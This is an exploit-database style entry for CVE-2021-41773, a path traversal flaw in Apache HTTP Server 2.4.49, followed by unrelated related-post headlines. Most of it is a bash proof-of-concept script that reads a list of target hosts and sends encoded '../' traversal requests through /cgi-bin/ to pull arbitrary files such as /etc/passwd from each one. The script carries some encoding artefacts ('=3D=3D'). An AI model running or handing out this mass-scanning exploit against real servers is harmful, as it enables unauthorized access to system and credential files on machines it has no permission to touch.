Apache HTTP Server version 2.4.49 suffers from a path traversal vulnerability.
advisories | CVE-2021-41773
# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage: https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team#!/bin/bash
if [[ $1 =3D=3D '' ]]; [[ $2 =3D=3D '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done
Related posts:
Hochul apologizes after saying Israel 'has right to defend itself' with 'inappropriate' Canada analo...
U.K. Electoral Commission Breach Exposes Voter Data of 40 Million Britons
Software-as-a-Service Rules the Cloud
Credential Stuffing; Ny Attorney General Reveals More Than 1.1m Compromised Accounts Discovered
Widely used modems in industrial IoT devices open to SMS attack